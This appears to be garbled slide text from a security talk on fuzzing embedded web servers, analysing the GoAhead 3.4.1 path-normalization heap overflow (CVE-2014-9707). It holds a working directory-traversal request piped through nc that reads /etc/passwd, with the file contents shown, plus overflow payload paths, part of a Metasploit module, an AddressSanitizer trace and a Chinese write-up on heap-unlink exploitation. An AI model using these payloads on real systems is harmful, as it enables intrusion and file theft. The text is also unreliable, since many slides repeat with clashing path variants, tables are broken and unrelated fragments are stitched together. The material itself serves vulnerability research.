<tbody>
<tr>
<td>.</td>
<td>1</td>
</tr>
<tr>
<td>ABCDEFGH</td>
<td>8</td>
</tr>
<tr>
<td>.x</td>
<td>2</td>
</tr>
</tbody>
</table>

Total length = 1 + 8 + 2 + 3 = 14
Results

• GoAhead Web Server
  • /./ABCDEFGH/.x

Total length = 1 + 8 + 2 + 3 = 14
Results

- GoAhead Web Server
  - /./ABCDEFGH/.x

Total length = 1 + 8 + 2 + 3 = 14
Results

• GoAhead Web Server
  • /./ABCDEFGH/ .x

Total length = 1 + 8 + 2 + 3 = 14
Results

• GoAhead Web Server
  • \(/\ . /ABCDEFGH/ . x\)

Total length = 1 + 8 + 2 + 3 = 14
Results

- GoAhead Web Server
  - `/ ./ABCDEFGH/ . x`

Input pointer

<table>
<thead>
<tr>
<th>ABCDEFGH</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABCDEFGH</td>
</tr>
<tr>
<td>. x</td>
</tr>
</tbody>
</table>

Output pointer

Total length = 1 + 8 + 2 + 3 = 14
Results

GoAhead Web Server

\[ / ./ABCDEFGH/ . x \]

Input pointer

Output pointer

Total length = 1 + 8 + 2 + 3 = 14
Results

• GoAhead Web Server
  • /./ABCDEFGH/.x

Total length = $1 + 8 + 2 + 3 = 14$
Results

• GoAhead Web Server
  • /./ABCDEFGH/.x

Total length = 1 + 8 + 2 + 3 = 14
Results

• GoAhead Web Server
  • ./.ABCDEFGH/.x

```
<p>| |</p>
<table>
<thead>
<tr>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>ABCDEFGH</td>
</tr>
<tr>
<td>ABCDEFGH</td>
</tr>
</tbody>
</table>
```

\text{malloc(14)}:

\text{Total length} = 1 + 8 + 2 + 3 = 14
Results

• GoAhead Web Server
  • ~/ABCDEF/ABCDEFGH/./x

\[
\begin{array}{|c|}
\hline
\text{ABCDEFGH} \\
\text{ABCDEFGH} \\
\hline
\end{array}
\]

\text{Total length} = 1 + 8 + 2 + 3 = 14

\text{\texttt{malloc}(14):}  \\
/ABCDEF/ABCDEFGH/ABCDEFGH
Results

- GoAhead Web Server
  - 
  - 

```
/./ABCDEFGH/.x
```

<table>
<thead>
<tr>
<th>ABCDEFGH</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABCDEFGH</td>
</tr>
</tbody>
</table>

```
malloc(14):
/ABCDEFGH/ABCDEFGH – 18 characters!
```
Results

• GoAhead Web Server
  • ././ABCDEFGH/.x

\[
\text{Total length} = 1 + 8 + 2 + 3 = 14
\]

\text{\texttt{malloc}(14)}: \\
/ABCDEFGH/ABCDEFGH

\text{\texttt{x}}

\text{heap overflow of 18 – 14 = 4 bytes}
Results

• GoAhead Web Server
  • ../../../../../../../../../../../../../../../../../../x/x/x/x/x/etc/passwd
Results

- ../../../x/x/x/x/x/etc/passwd

<table>
<thead>
<tr>
<th>..</th>
<th>..</th>
<th>..</th>
<th>..</th>
<th>..</th>
<th>..</th>
<th>..</th>
<th>..</th>
<th>..</th>
<th>..</th>
</tr>
</thead>
<tbody>
<tr>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
</tr>
<tr>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
<td>..</td>
</tr>
<tr>
<td>.x</td>
<td>.x</td>
<td>.x</td>
<td>.x</td>
<td>.x</td>
<td>.x</td>
<td>.x</td>
<td>.x</td>
<td>etc</td>
<td>passwd</td>
</tr>
</tbody>
</table>
Results

• /.../.../.../.../..././././././././.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer

```
..  
..  
..  
..  
..  
..  
.x  
.x  
.x  
.x  
.x  
.x  
/etc
passwd
```
Results

• /../././././././.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer

<p>| | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>..</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>..</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>..</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>..</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>..</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.x</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>etc</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>passwd</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Results

• /.../../../../../../.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer

..  
..  
..  
..  
.x  
.x  
.x  
.x  
.x  
.x  
.x  

etc

passwd
Results

• /.../.../.../.../.../.../.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer

..
..
..
..
..
.. 
.x
.x
.x
.x
.x
.x
etc
passwd
Results

- `/.../.../.../.../.../.x/.x/.x/.x/.x/etc/passwd`

<table>
<thead>
<tr>
<th>..</th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>etc</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>passwd</td>
</tr>
</tbody>
</table>
Results

• /.../.../.../.../.../.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer

..
..
..
..
..
..
.
.x  ???
.x
.x
.x
.x
.x
etc
passwd
Results

• /.../.../.../.../.../.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer
Results

• /.../.../.../.../.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer

..
..
..
..
..
..
.x
.x
.x
.x

etc
passwd
Results

• /.../.../.../.../.../.../.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer

..
..
..
..
..
..
.x
.x
.x
.x
.x
etc
passwd
Results

• /.../.../.../.../..././x/./x/./x/./x/etc/passwd

Input pointer

Output pointer

```
.. .. .. .. .. ..
  x  x  x  x  x
  etc passwd
```
Results

- /.../.../.../.../.../..x/..x/..x/..x/etc/passwd

Input pointer

| .. |
| .. |
| .. |
| .. |
| .. |
| .. |
| .x |
| .x |
| .x |
| .x |
| .x |
| .x |
| etc |
| passwd |
Results

- ../../../../../.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer

```
..  
..  
..  
..  
..  
..  
..  
..  
..  
etc
.x
.x
.x
.x
.x
etc
passwd
```
Results

• /.../.../.../.../.../x/x/x/x/x/etc/passwd

Input pointer

Output pointer
Results
Results

• /.../.../.../..././.x/.x/.x/.x/.x/etc/passwd

Input pointer

Output pointer

..
..
..
..
..
..
..

etc

passwd

.x
.x
.x

etc

passwd
Results

- ../../../../../../.x/.x/.x/.x/.x/etc/passwd

```
..
..
..
..
..
..
etc
passwd
```
Results

- `/.../.../.../.../.x/.x/.x/.x/.x/etc/passwd`

```
  ..
  ..
  ..
  ..
  ..
  etc
passwd
```

`malloc(whatever):`
Results

• /../../../../../etc/passwd

`malloc(whatever): /../../../../../etc/passwd`  

`Directory traversal`
$ echo -ne 'GET /../../../../../.x/.x/.x/.x/.x/.x/etc/passwd HTTP/1.0\r\n\r\n' | nc localhost 4700
HTTP/1.0 200 OK
Server: GoAhead-http
Date: Sun Nov 16 17:21:01 2014
Content-Length: 1346
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin:/usr/bin:/nologin
sys:x:3:3:sys:/dev:/usr/sbin:/usr/bin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin:/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin:/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin:/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin:/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin:/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin:/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info),
      'Name' => 'Embedthis GoAhead Embedded Web Server Directory Traversal',
      'Description' => 'This module exploits a directory traversal vulnerability in the Embedthis GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files with the web server privileges.
    ),
    'References' => [
    ['CVE', '2014-9787'],
    ['PACKETSTORM', '133156']
    ],
    'Author' => [
    'Matthew Daley', # Vulnerability discovery
    'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
    ],
  end
end
Results

=================================================================
==2613==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000d47f at pc
0x7ffffff6f34020 bp 0x7fffffffd410 sp 0x7fffffffcbd0
WRITE of size 9 at 0x60200000d47f thread T0
   #0 0x7ffff6f3401f in __interceptor_strcpy (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2f01f)
   #1 0x7ffff6d37d6d in websNormalizeUriPath src/http.c:3320
   #2 0x7ffff639b4de in parseFirstLine src/http.c:969
   #3 0x7ffff639a905 in parseIncoming src/http.c:880
   #4 0x7ffff639a4c9 in websPump src/http.c:829
   #5 0x7ffff639a19c in readEvent src/http.c:802
   #6 0x7ffff639de7 in socketEvent src/http.c:740
   #7 0x7ffff6399cde in websAccept src/http.c:719
   #8 0x7ffff63ac8ed in socketAccept src/socket.c:327
   #9 0x7ffff63d5de95 in socketDoEvent src/socket.c:638
  #10 0x7ffff63e9addf in socketProcess src/socket.c:622
  #11 0x7ffff63d9af8 in websServiceEvents src/http.c:1307
  #12 0x401b5c in main src/goahead.c:153
  #13 0x7ffffff597ab44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
  #14 0x4011d8 (/home/matthew/goahead-3.4.1/build/linux-x64-debug/bin/goahead+0x4011d8)

0x60200000d47f is located 0 bytes to the right of 15-byte region [0x60200000d470,0x60200000d47f)
Results

Popular repositories

**enchnt3r.github.io**
- HTML
- 2 stars

**cve-2014-9707**
- Python

**cve-search**
Forked from ExpLiFe/cve-search
- cve-search - a tool to perform local searches for known vulnerabilities
- Python

**Mind-Map**
Forked from ExpLiFe/Mind-Map
- 各种安全相关思维导图整理收集

**Exploit-Exercises-Nebula**
Forked from ExpLiFe/Exploit-Exercises-Nebula
- Exploit-Exercises Nebula全攻略 —— Linux平台下的漏洞分析入门
- C

**DEP-and-ASLR-bypass-without-ROP-or-JIT**
Forked from ExpLiFe/DEP-and-ASLR-bypass-without-ROP-or-JIT
- Slides, codes and videos of the talk "DEP/ASLR bypass without ROP/JIT" on CanSecWest 2013
- C
CVE-2014-9707分析以及exp构造

2016-11-20 · 15

0x00 介绍

Embedthis Software GoAhead是美国Embedthis Software公司的一款嵌入式Web服务器。Embedthis Software GoAhead 3.0.0版本至3.4.1版本中存在安全漏洞，该漏洞源于程序没有正确处理以."字符开始的路径部分。远程攻击者可借助特制的URI利用该漏洞实施目录遍历攻击，造成拒绝服务（基于堆的缓冲区溢出和崩溃），也可能执行任意代码。[1]

0x01 环境

Ubuntu 15.10 (i686，关闭ASLR、NX)

Goahead 3.4.1

Glibc 2.19
Results

segments同时肩负输入和输出的重任，i控制输入流的偏移，j控制输出流的偏移。此时有两种情况处理，当sp为'.'时，做一些操作。当sp不为'.'时，直接将输入复制到输出。仔细瞧瞧当sp为'.'时的处理，它做了以下的动作：
1. 当下一个字符为0时，如果输出流到了末尾时((i+1) == nseg)，直接复制空字符串到输出流。否则输出流不变(j—，在for的循环表达式中j++，以保持不变)
2. 当下一个字符为'.'并且sp[2]为0时，也就是sp为“.”时。做*操作。（这里不讲了，不是重点。）
3. 重点来了，如果sp不是上面两种情况，将会啥都不做，比如sp为“.”x”的话，那么它啥也不做，并且在for的循环表达式中将i跟j自增。

继续举个栗子瞧瞧：
还是以上面的字符串为例“/hello./world./x”
1. 'hello'直接从输入复制到输出
2. '.’，j - 1。以保持不变
3. 'world'，将输入复制到输出。注意，在第2步中因为j不变，所以j现在是2，也就是'.'的位置。
4. 'x'，啥也不做，i++，j++。
5. 到这里已经结束了，nseg为5，现在i也是5了，j为4
Results
Results

当segments被释放时，path会被认为是已经释放了的块，所以会触发consolidate forward。

fd和bk都指向path的地址，以通过“corrupted double-linked list”检查。
Results
Issues

• How long to fuzz a given target for?
Issues

• How long to fuzz a given target for?
• Is it *actually* effective?
  • gcov, helper scripts
Issues

• How long to fuzz a given target for?
• Is it *actually* effective?
  • gcov, helper scripts
• Randomness is a double-edged sword
  • Helpful – lets you be lazy
  • Unhelpful – it makes you lazy...
Issues

• How long to fuzz a given target for?
• Is it *actually* effective?
  • gcov, helper scripts
• Randomness is a double-edged sword
  • Helpful – lets you be lazy
  • Unhelpful – it makes you lazy...
• The devil is always in the details
  • Handling request timeouts
  • Some servers are just really slow
Todo.txt
Future work

• Hoverlord
- toasted + flask + preceive + WTF-form + WTF-pearce
- all work done on main (asych) thread
- no converse table (objects)
- talks straight to host instances
- non-persistent (cached) data in in-memory (redis etc) db
- called "hostcard"

- host's return SSH-based (for targets)
- DB inheritance just merges all subtypes
- returns one table, have type discriminator column
- look (show in UI)
- finds belong to projects, and
- can outline their desired column's
- key data "from refs" (last target, source)
- have named refs
Future work

• Hoverlord
• More servers!!!
Future work

• Hoverlord
• More servers!!!
• Other protocols (SIP immediately comes to mind)
Future work

• Hoverlord
• More servers!!!
• Other protocols (SIP immediately comes to mind)
• Actually patch + disclose some more bugs :/